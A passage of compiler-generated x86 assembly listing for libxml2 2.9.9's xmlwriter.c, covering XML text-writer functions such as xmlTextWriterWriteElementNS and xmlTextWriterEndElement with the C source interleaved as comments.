_xmlTextWriterWriteRawLen ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatRaw
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_format$ = 12 ; size = 4
_argptr$ = 16 ; size = 4
_xmlTextWriterWriteVFormatRaw PROC ; COMDAT
; 1322 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN7@xmlTextWri
; 1323 : int rc;
; 1324 : xmlChar *buf;
; 1325 :
; 1326 : if (writer == NULL)
; 1327 : return -1;
; 1328 :
; 1329 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 1330 : if (buf == NULL)
test edi, edi
je SHORT $LN7@xmlTextWri
; 1407 : return xmlTextWriterWriteRawLen(writer, content, xmlStrlen(content));
push edi
call _xmlStrlen
push eax
push edi
push esi
call _xmlTextWriterWriteRawLen
; 1332 :
; 1333 : rc = xmlTextWriterWriteRaw(writer, buf);
; 1334 :
; 1335 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 20 ; 00000014H
; 1336 : return rc;
mov eax, esi
pop edi
; 1337 : }
pop esi
pop ebp
ret 0
$LN7@xmlTextWri:
pop edi
; 1331 : return -1;
or eax, -1
; 1337 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatRaw ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatRaw
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_format$ = 12 ; size = 4
_xmlTextWriterWriteFormatRaw PROC ; COMDAT
; 1297 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 1326 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 1298 : int rc;
; 1299 : va_list ap;
; 1300 :
; 1301 : va_start(ap, format);
; 1302 :
; 1303 : rc = xmlTextWriterWriteVFormatRaw(writer, format, ap);
; 1304 :
; 1305 : va_end(ap);
; 1306 : return rc;
or eax, -1
pop esi
; 1307 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 1329 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 1330 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 1298 : int rc;
; 1299 : va_list ap;
; 1300 :
; 1301 : va_start(ap, format);
; 1302 :
; 1303 : rc = xmlTextWriterWriteVFormatRaw(writer, format, ap);
; 1304 :
; 1305 : va_end(ap);
; 1306 : return rc;
pop edi
or eax, -1
pop esi
; 1307 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 1407 : return xmlTextWriterWriteRawLen(writer, content, xmlStrlen(content));
push edi
call _xmlStrlen
push eax
push edi
push esi
call _xmlTextWriterWriteRawLen
; 1335 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 20 ; 00000014H
; 1298 : int rc;
; 1299 : va_list ap;
; 1300 :
; 1301 : va_start(ap, format);
; 1302 :
; 1303 : rc = xmlTextWriterWriteVFormatRaw(writer, format, ap);
; 1304 :
; 1305 : va_end(ap);
; 1306 : return rc;
mov eax, esi
pop edi
pop esi
; 1307 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatRaw ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteElementNS
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_prefix$ = 12 ; size = 4
_name$ = 16 ; size = 4
_namespaceURI$ = 20 ; size = 4
_content$ = 24 ; size = 4
_xmlTextWriterWriteElementNS PROC ; COMDAT
; 2339 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN3@xmlTextWri
; 2340 : int count;
; 2341 : int sum;
; 2342 :
; 2343 : if ((writer == NULL) || (name == NULL) || (*name == '\0'))
mov eax, DWORD PTR _name$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
cmp BYTE PTR [eax], 0
je SHORT $LN3@xmlTextWri
; 2345 :
; 2346 : sum = 0;
; 2347 : count =
push DWORD PTR _namespaceURI$[ebp]
push eax
push DWORD PTR _prefix$[ebp]
push esi
call _xmlTextWriterStartElementNS
mov edi, eax
add esp, 16 ; 00000010H
; 2348 : xmlTextWriterStartElementNS(writer, prefix, name, namespaceURI);
; 2349 : if (count < 0)
test edi, edi
js SHORT $LN3@xmlTextWri
; 2350 : return -1;
; 2351 : sum += count;
; 2352 : count = xmlTextWriterWriteString(writer, content);
push DWORD PTR _content$[ebp]
push esi
call _xmlTextWriterWriteString
add esp, 8
; 2353 : if (count == -1)
cmp eax, -1
je SHORT $LN3@xmlTextWri
; 2354 : return -1;
; 2355 : sum += count;
; 2356 : count = xmlTextWriterEndElement(writer);
push esi
add edi, eax
call _xmlTextWriterEndElement
add esp, 4
; 2357 : if (count == -1)
cmp eax, -1
je SHORT $LN3@xmlTextWri
; 2358 : return -1;
; 2359 : sum += count;
add eax, edi
pop edi
; 2360 :
; 2361 : return sum;
; 2362 : }
pop esi
pop ebp
ret 0
$LN3@xmlTextWri:
pop edi
; 2344 : return -1;
or eax, -1
; 2360 :
; 2361 : return sum;
; 2362 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteElementNS ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatElementNS
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_prefix$ = 12 ; size = 4
_name$ = 16 ; size = 4
_namespaceURI$ = 20 ; size = 4
_format$ = 24 ; size = 4
_argptr$ = 28 ; size = 4
_xmlTextWriterWriteVFormatElementNS PROC ; COMDAT
; 2304 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 2305 : int rc;
; 2306 : xmlChar *buf;
; 2307 :
; 2308 : if (writer == NULL)
; 2309 : return -1;
; 2310 :
; 2311 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2312 : if (buf == NULL)
test edi, edi
je SHORT $LN5@xmlTextWri
; 2314 :
; 2315 : rc = xmlTextWriterWriteElementNS(writer, prefix, name, namespaceURI,
push edi
push DWORD PTR _namespaceURI$[ebp]
push DWORD PTR _name$[ebp]
push DWORD PTR _prefix$[ebp]
push esi
call _xmlTextWriterWriteElementNS
; 2316 : buf);
; 2317 :
; 2318 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 24 ; 00000018H
; 2319 : return rc;
mov eax, esi
pop edi
; 2320 : }
pop esi
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
; 2313 : return -1;
or eax, -1
; 2320 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatElementNS ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatElementNS
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_prefix$ = 12 ; size = 4
_name$ = 16 ; size = 4
_namespaceURI$ = 20 ; size = 4
_format$ = 24 ; size = 4
_xmlTextWriterWriteFormatElementNS PROC ; COMDAT
; 2272 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 2308 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 2273 : int rc;
; 2274 : va_list ap;
; 2275 :
; 2276 : va_start(ap, format);
; 2277 :
; 2278 : rc = xmlTextWriterWriteVFormatElementNS(writer, prefix, name,
; 2279 : namespaceURI, format, ap);
; 2280 :
; 2281 : va_end(ap);
; 2282 : return rc;
or eax, -1
pop esi
; 2283 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 2311 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2312 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 2273 : int rc;
; 2274 : va_list ap;
; 2275 :
; 2276 : va_start(ap, format);
; 2277 :
; 2278 : rc = xmlTextWriterWriteVFormatElementNS(writer, prefix, name,
; 2279 : namespaceURI, format, ap);
; 2280 :
; 2281 : va_end(ap);
; 2282 : return rc;
pop edi
or eax, -1
pop esi
; 2283 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 2315 : rc = xmlTextWriterWriteElementNS(writer, prefix, name, namespaceURI,
push edi
push DWORD PTR _namespaceURI$[ebp]
push DWORD PTR _name$[ebp]
push DWORD PTR _prefix$[ebp]
push esi
call _xmlTextWriterWriteElementNS
; 2316 : buf);
; 2317 :
; 2318 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 24 ; 00000018H
; 2273 : int rc;
; 2274 : va_list ap;
; 2275 :
; 2276 : va_start(ap, format);
; 2277 :
; 2278 : rc = xmlTextWriterWriteVFormatElementNS(writer, prefix, name,
; 2279 : namespaceURI, format, ap);
; 2280 :
; 2281 : va_end(ap);
; 2282 : return rc;
mov eax, esi
pop edi
pop esi
; 2283 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatElementNS ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_content$ = 16 ; size = 4
_xmlTextWriterWriteElement PROC ; COMDAT
; 2230 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
push DWORD PTR _name$[ebp]
mov edi, DWORD PTR _writer$[ebp]
push edi
call _xmlTextWriterStartElement
mov esi, eax
add esp, 8
cmp esi, -1
je SHORT $LN7@xmlTextWri
; 2231 : int count;
; 2232 : int sum;
; 2233 :
; 2234 : sum = 0;
; 2235 : count = xmlTextWriterStartElement(writer, name);
; 2236 : if (count == -1)
; 2237 : return -1;
; 2238 : sum += count;
; 2239 : if (content != NULL) {
mov eax, DWORD PTR _content$[ebp]
test eax, eax
je SHORT $LN3@xmlTextWri
; 2240 : count = xmlTextWriterWriteString(writer, content);
push eax
push edi
call _xmlTextWriterWriteString
add esp, 8
; 2241 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 2242 : return -1;
; 2243 : sum += count;
add esi, eax
$LN3@xmlTextWri:
; 2244 : }
; 2245 : count = xmlTextWriterEndElement(writer);
push edi
call _xmlTextWriterEndElement
add esp, 4
; 2246 : if (count == -1)
cmp eax, -1
je SHORT $LN7@xmlTextWri
; 2248 : sum += count;
pop edi
add eax, esi
; 2249 :
; 2250 : return sum;
; 2251 : }
pop esi
pop ebp
ret 0
$LN7@xmlTextWri:
pop edi
; 2247 : return -1;
or eax, -1
; 2249 :
; 2250 : return sum;
; 2251 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteVFormatElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_format$ = 16 ; size = 4
_argptr$ = 20 ; size = 4
_xmlTextWriterWriteVFormatElement PROC ; COMDAT
; 2200 : {
push ebp
mov ebp, esp
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN5@xmlTextWri
; 2201 : int rc;
; 2202 : xmlChar *buf;
; 2203 :
; 2204 : if (writer == NULL)
; 2205 : return -1;
; 2206 :
; 2207 : buf = xmlTextWriterVSprintf(format, argptr);
push DWORD PTR _argptr$[ebp]
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2208 : if (buf == NULL)
test edi, edi
je SHORT $LN5@xmlTextWri
; 2210 :
; 2211 : rc = xmlTextWriterWriteElement(writer, name, buf);
push edi
push DWORD PTR _name$[ebp]
push esi
call _xmlTextWriterWriteElement
; 2212 :
; 2213 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 2214 : return rc;
mov eax, esi
pop edi
; 2215 : }
pop esi
pop ebp
ret 0
$LN5@xmlTextWri:
pop edi
; 2209 : return -1;
or eax, -1
; 2215 : }
pop esi
pop ebp
ret 0
_xmlTextWriterWriteVFormatElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterWriteFormatElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_name$ = 12 ; size = 4
_format$ = 16 ; size = 4
_xmlTextWriterWriteFormatElement PROC ; COMDAT
; 2173 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
; 2204 : if (writer == NULL)
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
jne SHORT $LN4@xmlTextWri
; 2174 : int rc;
; 2175 : va_list ap;
; 2176 :
; 2177 : va_start(ap, format);
; 2178 :
; 2179 : rc = xmlTextWriterWriteVFormatElement(writer, name, format, ap);
; 2180 :
; 2181 : va_end(ap);
; 2182 : return rc;
or eax, -1
pop esi
; 2183 : }
pop ebp
ret 0
$LN4@xmlTextWri:
push edi
; 2207 : buf = xmlTextWriterVSprintf(format, argptr);
lea eax, DWORD PTR _format$[ebp+4]
push eax
push DWORD PTR _format$[ebp]
call _xmlTextWriterVSprintf
mov edi, eax
add esp, 8
; 2208 : if (buf == NULL)
test edi, edi
jne SHORT $LN5@xmlTextWri
; 2174 : int rc;
; 2175 : va_list ap;
; 2176 :
; 2177 : va_start(ap, format);
; 2178 :
; 2179 : rc = xmlTextWriterWriteVFormatElement(writer, name, format, ap);
; 2180 :
; 2181 : va_end(ap);
; 2182 : return rc;
pop edi
or eax, -1
pop esi
; 2183 : }
pop ebp
ret 0
$LN5@xmlTextWri:
; 2211 : rc = xmlTextWriterWriteElement(writer, name, buf);
push edi
push DWORD PTR _name$[ebp]
push esi
call _xmlTextWriterWriteElement
; 2212 :
; 2213 : xmlFree(buf);
push edi
mov esi, eax
call DWORD PTR _xmlFree
add esp, 16 ; 00000010H
; 2174 : int rc;
; 2175 : va_list ap;
; 2176 :
; 2177 : va_start(ap, format);
; 2178 :
; 2179 : rc = xmlTextWriterWriteVFormatElement(writer, name, format, ap);
; 2180 :
; 2181 : va_end(ap);
; 2182 : return rc;
mov eax, esi
pop edi
pop esi
; 2183 : }
pop ebp
ret 0
_xmlTextWriterWriteFormatElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterFullEndElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterFullEndElement PROC ; COMDAT
; 1211 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN23@xmlTextWri
; 1212 : int count;
; 1213 : int sum;
; 1214 : xmlLinkPtr lk;
; 1215 : xmlTextWriterStackEntry *p;
; 1216 :
; 1217 : if (writer == NULL)
; 1218 : return -1;
; 1219 :
; 1220 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 1221 : if (lk == 0)
test eax, eax
je SHORT $LN23@xmlTextWri
; 1222 : return -1;
; 1223 :
; 1224 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov ebx, eax
add esp, 4
; 1225 : if (p == 0)
test ebx, ebx
je SHORT $LN23@xmlTextWri
; 1226 : return -1;
; 1227 :
; 1228 : sum = 0;
; 1229 : switch (p->state) {
mov ecx, DWORD PTR [ebx+4]
xor edi, edi
sub ecx, 1
je SHORT $LN9@xmlTextWri
sub ecx, 1
je SHORT $LN7@xmlTextWri
sub ecx, 1
je SHORT $LN12@xmlTextWri
$LN23@xmlTextWri:
pop edi
; 1282 : }
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN7@xmlTextWri:
; 1230 : case XML_TEXTWRITER_ATTRIBUTE:
; 1231 : count = xmlTextWriterEndAttribute(writer);
push esi
call _xmlTextWriterEndAttribute
mov edi, eax
add esp, 4
; 1232 : if (count < 0)
test edi, edi
js SHORT $LN23@xmlTextWri
$LN9@xmlTextWri:
; 1233 : return -1;
; 1234 : sum += count;
; 1235 : /* fallthrough */
; 1236 : case XML_TEXTWRITER_NAME:
; 1237 : /* Output namespace declarations */
; 1238 : count = xmlTextWriterOutputNSDecl(writer);
push esi
call _xmlTextWriterOutputNSDecl
add esp, 4
; 1239 : if (count < 0)
test eax, eax
js SHORT $LN23@xmlTextWri
; 1240 : return -1;
; 1241 : sum += count;
; 1242 :
; 1243 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 1244 : if (count < 0)
test eax, eax
js SHORT $LN23@xmlTextWri
; 1245 : return -1;
; 1246 : sum += count;
add edi, eax
; 1247 : if (writer->indent)
cmp DWORD PTR [esi+16], 0
je SHORT $LN22@xmlTextWri
; 1248 : writer->doindent = 0;
mov DWORD PTR [esi+20], 0
$LN12@xmlTextWri:
; 1249 : /* fallthrough */
; 1250 : case XML_TEXTWRITER_TEXT:
; 1251 : if ((writer->indent) && (writer->doindent)) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN22@xmlTextWri
cmp DWORD PTR [esi+20], 0
je SHORT $LN22@xmlTextWri
; 1252 : count = xmlTextWriterWriteIndent(writer);
push esi
call _xmlTextWriterWriteIndent
add esp, 4
; 1253 : sum += count;
add edi, eax
$LN22@xmlTextWri:
; 1254 : writer->doindent = 1;
; 1255 : } else
; 1256 : writer->doindent = 1;
; 1257 : count = xmlOutputBufferWriteString(writer->out, "</");
mov DWORD PTR [esi+20], 1
push OFFSET ??_C@_02DPNDACHE@?$DM?1@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 1258 : if (count < 0)
test eax, eax
js SHORT $LN23@xmlTextWri
; 1259 : return -1;
; 1260 : sum += count;
; 1261 : count = xmlOutputBufferWriteString(writer->out,
push DWORD PTR [ebx]
add edi, eax
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 1262 : (const char *) p->name);
; 1263 : if (count < 0)
test eax, eax
js $LN23@xmlTextWri
; 1264 : return -1;
; 1265 : sum += count;
; 1266 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
push DWORD PTR [esi]
add edi, eax
call _xmlOutputBufferWriteString
add esp, 8
; 1267 : if (count < 0)
test eax, eax
js $LN23@xmlTextWri
; 1268 : return -1;
; 1269 : sum += count;
add edi, eax
; 1270 : break;
; 1271 : default:
; 1272 : return -1;
; 1273 : }
; 1274 :
; 1275 : if (writer->indent) {
cmp DWORD PTR [esi+16], 0
je SHORT $LN20@xmlTextWri
; 1276 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 1277 : sum += count;
add edi, eax
$LN20@xmlTextWri:
; 1278 : }
; 1279 :
; 1280 : xmlListPopFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListPopFront
add esp, 4
; 1281 : return sum;
mov eax, edi
pop edi
; 1282 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlTextWriterFullEndElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterEndElement
_TEXT SEGMENT
_writer$ = 8 ; size = 4
_xmlTextWriterEndElement PROC ; COMDAT
; 1119 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _writer$[ebp]
test esi, esi
je SHORT $LN23@xmlTextWri
; 1120 : int count;
; 1121 : int sum;
; 1122 : xmlLinkPtr lk;
; 1123 : xmlTextWriterStackEntry *p;
; 1124 :
; 1125 : if (writer == NULL)
; 1126 : return -1;
; 1127 :
; 1128 : lk = xmlListFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListFront
add esp, 4
; 1129 : if (lk == 0) {
test eax, eax
jne SHORT $LN5@xmlTextWri
$LN26@xmlTextWri:
; 1199 : }
push DWORD PTR [esi+8]
call _xmlListDelete
add esp, 4
mov DWORD PTR [esi+8], 0
$LN23@xmlTextWri:
pop edi
pop esi
or eax, -1
pop ebx
pop ebp
ret 0
$LN5@xmlTextWri:
; 1130 : xmlListDelete(writer->nsstack);
; 1131 : writer->nsstack = NULL;
; 1132 : return -1;
; 1133 : }
; 1134 :
; 1135 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk);
push eax
call _xmlLinkGetData
mov ebx, eax
add esp, 4
; 1136 : if (p == 0) {
test ebx, ebx
je SHORT $LN26@xmlTextWri
; 1137 : xmlListDelete(writer->nsstack);
; 1138 : writer->nsstack = NULL;
; 1139 : return -1;
; 1140 : }
; 1141 :
; 1142 : sum = 0;
; 1143 : switch (p->state) {
mov eax, DWORD PTR [ebx+4]
xor edi, edi
sub eax, 1
je SHORT $LN8@xmlTextWri
sub eax, 1
je SHORT $LN7@xmlTextWri
sub eax, 1
jne SHORT $LN23@xmlTextWri
; 1163 : if (count < 0)
; 1164 : return -1;
; 1165 : sum += count;
; 1166 : break;
; 1167 : case XML_TEXTWRITER_TEXT:
; 1168 : if ((writer->indent) && (writer->doindent)) {
cmp DWORD PTR [esi+16], edi
je SHORT $LN22@xmlTextWri
cmp DWORD PTR [esi+20], edi
je SHORT $LN22@xmlTextWri
; 1169 : count = xmlTextWriterWriteIndent(writer);
push esi
call _xmlTextWriterWriteIndent
add esp, 4
; 1170 : sum += count;
mov edi, eax
$LN22@xmlTextWri:
; 1171 : writer->doindent = 1;
; 1172 : } else
; 1173 : writer->doindent = 1;
; 1174 : count = xmlOutputBufferWriteString(writer->out, "</");
mov DWORD PTR [esi+20], 1
push OFFSET ??_C@_02DPNDACHE@?$DM?1@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 1175 : if (count < 0)
test eax, eax
js SHORT $LN23@xmlTextWri
; 1176 : return -1;
; 1177 : sum += count;
; 1178 : count = xmlOutputBufferWriteString(writer->out,
push DWORD PTR [ebx]
add edi, eax
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 1179 : (const char *) p->name);
; 1180 : if (count < 0)
test eax, eax
js SHORT $LN23@xmlTextWri
; 1181 : return -1;
; 1182 : sum += count;
add edi, eax
; 1183 : count = xmlOutputBufferWriteString(writer->out, ">");
push OFFSET ??_C@_01PPODPGHN@?$DO@
; 1184 : if (count < 0)
; 1185 : return -1;
; 1186 : sum += count;
; 1187 : break;
jmp SHORT $LN25@xmlTextWri
$LN7@xmlTextWri:
; 1144 : case XML_TEXTWRITER_ATTRIBUTE:
; 1145 : count = xmlTextWriterEndAttribute(writer);
push esi
call _xmlTextWriterEndAttribute
mov edi, eax
add esp, 4
; 1146 : if (count < 0) {
test edi, edi
js $LN26@xmlTextWri
$LN8@xmlTextWri:
; 1147 : xmlListDelete(writer->nsstack);
; 1148 : writer->nsstack = NULL;
; 1149 : return -1;
; 1150 : }
; 1151 : sum += count;
; 1152 : /* fallthrough */
; 1153 : case XML_TEXTWRITER_NAME:
; 1154 : /* Output namespace declarations */
; 1155 : count = xmlTextWriterOutputNSDecl(writer);
push esi
call _xmlTextWriterOutputNSDecl
add esp, 4
; 1156 : if (count < 0)
test eax, eax
js $LN23@xmlTextWri
; 1157 : return -1;
; 1158 : sum += count;
add edi, eax
; 1159 :
; 1160 : if (writer->indent) /* next element needs indent */
cmp DWORD PTR [esi+16], 0
je SHORT $LN11@xmlTextWri
; 1161 : writer->doindent = 1;
mov DWORD PTR [esi+20], 1
$LN11@xmlTextWri:
; 1162 : count = xmlOutputBufferWriteString(writer->out, "/>");
push OFFSET ??_C@_02HCGKDMEN@?1?$DO@
$LN25@xmlTextWri:
; 1188 : default:
; 1189 : return -1;
; 1190 : }
; 1191 :
; 1192 : if (writer->indent) {
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
test eax, eax
js $LN23@xmlTextWri
add edi, eax
cmp DWORD PTR [esi+16], 0
je SHORT $LN20@xmlTextWri
; 1193 : count = xmlOutputBufferWriteString(writer->out, "\n");
push OFFSET ??_C@_01EEMJAFIK@?6@
push DWORD PTR [esi]
call _xmlOutputBufferWriteString
add esp, 8
; 1194 : sum += count;
add edi, eax
$LN20@xmlTextWri:
; 1195 : }
; 1196 :
; 1197 : xmlListPopFront(writer->nodes);
push DWORD PTR [esi+4]
call _xmlListPopFront
add esp, 4
; 1198 : return sum;
mov eax, edi
pop edi
; 1199 : }
pop esi
pop ebx
pop ebp
ret 0
_xmlTextWriterEndElement ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c
; COMDAT _xmlTextWriterStartElementNS
_TEXT SEGMENT
_count$1$ = 8 ; size = 4
_writer$ = 8 ; size = 4
_prefix$ = 12 ; size = 4
_name$ = 16 ; size = 4
_namespaceURI$ = 20 ; size = 4
_xmlTextWriterStartElementNS PROC ; COMDAT
; 1056 : {
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, OFFSET __DA396148_xmlwriter@c
call @__CheckForDebuggerJustMyCode@4
mov edi, DWORD PTR _writer$[ebp]
test edi, edi
je SHORT $LN3@xmlTextWri
; 1057 : int count;
; 1058 : int sum;
; 1059 : xmlChar *buf;
; 1060 :
; 1061 : if ((writer == NULL) || (name == NULL) || (*name == '\0'))
mov esi, DWORD PTR _name$[ebp]
test esi, esi
je SHORT $LN3@xmlTextWri
cmp BYTE PTR [esi], 0
je SHORT $LN3@xmlTextWri
; 1062 : return -1;
; 1063 :
; 1064 : buf = NULL;
; 1065 : if (prefix != 0) {
mov ebx, DWORD PTR _prefix$[ebp]
xor eax, eax
test ebx, ebx
je SHORT $LN4@xmlTextWri
; 1066 : buf = xmlStrdup(prefix);
push ebx
call _xmlStrdup
; 1067 : buf = xmlStrcat(buf, BAD_CAST ":");
push OFFSET ??_C@_01JLIPDDHJ@?3@
push eax
call _xmlStrcat
add esp, 12 ; 0000000cH
$LN4@xmlTextWri:
; 1068 : }
; 1069 : buf = xmlStrcat(buf, name);
push esi
push eax
call _xmlStrcat
mov esi, eax
; 1070 :
; 1071 : sum = 0;
; 1072 : count = xmlTextWriterStartElement(writer, buf);
push esi
push edi
call _xmlTextWriterStartElement
; 1073 : xmlFree(buf);
push esi
mov DWORD PTR _count$1$[ebp], eax
call DWORD PTR _xmlFree
; 1074 : if (count < 0)
mov eax, DWORD PTR _count$1$[ebp]
add esp, 20 ; 00000014H
test eax, eax
js SHORT $LN3@xmlTextWri
; 1075 : return -1;
; 1076 : sum += count;
; 1077 :
; 1078 : if (namespaceURI != 0) {
cmp DWORD PTR _namespaceURI$[ebp], 0
je SHORT $LN1@xmlTextWri
; 1079 : xmlTextWriterNsStackEntry *p = (xmlTextWriterNsStackEntry *)
push 12 ; 0000000cH
call DWORD PTR _xmlMalloc
mov esi, eax
add esp, 4
; 1080 : xmlMalloc(sizeof(xmlTextWriterNsStackEntry));
; 1081 : if (p == 0) {
test esi, esi
jne SHORT $LN7@xmlTextWri
; 1082 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY,
